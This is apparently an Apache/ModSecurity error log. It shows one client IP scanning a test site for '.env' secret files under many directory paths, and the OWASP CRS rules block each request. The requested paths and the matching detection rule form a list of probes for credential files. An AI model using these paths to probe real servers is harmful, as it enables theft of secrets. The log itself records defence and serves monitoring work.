[Wed Mar 11 20:56:54.058196 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abHJBiCgtlFRCZQ_mzOvlgAAAA8"]
[Wed Mar 11 20:56:54.058378 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abHJBiCgtlFRCZQ_mzOvlgAAAA8"]
[Wed Mar 11 20:56:54.228465 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "abHJBiLTdk5HIxV82QLTzgAAAAQ"]
[Wed Mar 11 20:56:54.228660 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "abHJBiLTdk5HIxV82QLTzgAAAAQ"]
[Wed Mar 11 20:56:54.228810 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "abHJBiLTdk5HIxV82QLTzgAAAAQ"]
[Wed Mar 11 20:56:54.255257 2026] [:error] [pid 2634342] [client 185.177.72.60:41810] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "abHJBt0ogWVDBS0cZUmEqwAAABI"]
[Wed Mar 11 20:56:54.255455 2026] [:error] [pid 2634342] [client 185.177.72.60:41810] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "abHJBt0ogWVDBS0cZUmEqwAAABI"]
[Wed Mar 11 20:56:54.255607 2026] [:error] [pid 2634342] [client 185.177.72.60:41810] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "abHJBt0ogWVDBS0cZUmEqwAAABI"]
[Wed Mar 11 20:56:54.332217 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "abHJBk08hzg1BXieW_K39AAAAAI"]
[Wed Mar 11 20:56:54.332389 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "abHJBk08hzg1BXieW_K39AAAAAI"]
[Wed Mar 11 20:56:54.332558 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "abHJBk08hzg1BXieW_K39AAAAAI"]
[Wed Mar 11 20:56:54.579225 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abHJBrVttqDN05FhB27JDwAAAAs"]
[Wed Mar 11 20:56:54.579402 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abHJBrVttqDN05FhB27JDwAAAAs"]
[Wed Mar 11 20:56:54.579561 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abHJBrVttqDN05FhB27JDwAAAAs"]
[Wed Mar 11 20:56:54.811312 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abHJBoMnPAWHo4A6z1M10wAAAAk"]
[Wed Mar 11 20:56:54.811500 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abHJBoMnPAWHo4A6z1M10wAAAAk"]
[Wed Mar 11 20:56:54.811665 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abHJBoMnPAWHo4A6z1M10wAAAAk"]
[Wed Mar 11 20:56:54.887502 2026] [:error] [pid 2634352] [client 185.177.72.60:41780] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abHJBpUPtpOluvdsTpxvXwAAAAY"]
[Wed Mar 11 20:56:54.887502 2026] [:error] [pid 2634351] [client 185.177.72.60:41768] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abHJBleVHFR5HsWynCXzHQAAAAM"]
[Wed Mar 11 20:56:54.887677 2026] [:error] [pid 2634352] [client 185.177.72.60:41780] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abHJBpUPtpOluvdsTpxvXwAAAAY"]
[Wed Mar 11 20:56:54.887680 2026] [:error] [pid 2634351] [client 185.177.72.60:41768] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abHJBleVHFR5HsWynCXzHQAAAAM"]
[Wed Mar 11 20:56:54.887810 2026] [:error] [pid 2634352] [client 185.177.72.60:41780] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abHJBpUPtpOluvdsTpxvXwAAAAY"]
[Wed Mar 11 20:56:54.887839 2026] [:error] [pid 2634351] [client 185.177.72.60:41768] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abHJBleVHFR5HsWynCXzHQAAAAM"]
[Wed Mar 11 20:56:54.950030 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abHJBg5jPndcvXiI_NwnKgAAAA0"]
[Wed Mar 11 20:56:54.950296 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abHJBg5jPndcvXiI_NwnKgAAAA0"]
[Wed Mar 11 20:56:54.950538 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abHJBg5jPndcvXiI_NwnKgAAAA0"]
[Wed Mar 11 20:56:55.128286 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /website/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abHJBxM06ibq-fKkKHKWHwAAABA"]
[Wed Mar 11 20:56:55.128534 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abHJBxM06ibq-fKkKHKWHwAAABA"]
[Wed Mar 11 20:56:55.128719 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abHJBxM06ibq-fKkKHKWHwAAABA"]
[Wed Mar 11 20:56:55.139793 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abHJB_-pQA8QpEk0_N8YVwAAAAA"]
[Wed Mar 11 20:56:55.139963 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abHJB_-pQA8QpEk0_N8YVwAAAAA"]
[Wed Mar 11 20:56:55.140119 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abHJB_-pQA8QpEk0_N8YVwAAAAA"]
[Wed Mar 11 20:56:55.160093 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abHJBwGa7hTYdm05K1T1xgAAAAU"]
[Wed Mar 11 20:56:55.160261 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abHJBwGa7hTYdm05K1T1xgAAAAU"]
[Wed Mar 11 20:56:55.160392 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abHJBwGa7hTYdm05K1T1xgAAAAU"]
[Wed Mar 11 20:56:55.207424 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abHJB_-pQA8QpEk0_N8YWAAAAAA"]
[Wed Mar 11 20:56:55.207597 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abHJB_-pQA8QpEk0_N8YWAAAAAA"]
[Wed Mar 11 20:56:55.207745 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abHJB_-pQA8QpEk0_N8YWAAAAAA"]
[Wed Mar 11 20:56:55.214409 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tests/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tests/.env"] [unique_id "abHJB8C_9I0i5zrBPs0AXwAAABE"]
[Wed Mar 11 20:56:55.214602 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tests/.env"] [unique_id "abHJB8C_9I0i5zrBPs0AXwAAABE"]
[Wed Mar 11 20:56:55.214740 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tests/.env"] [unique_id "abHJB8C_9I0i5zrBPs0AXwAAABE"]
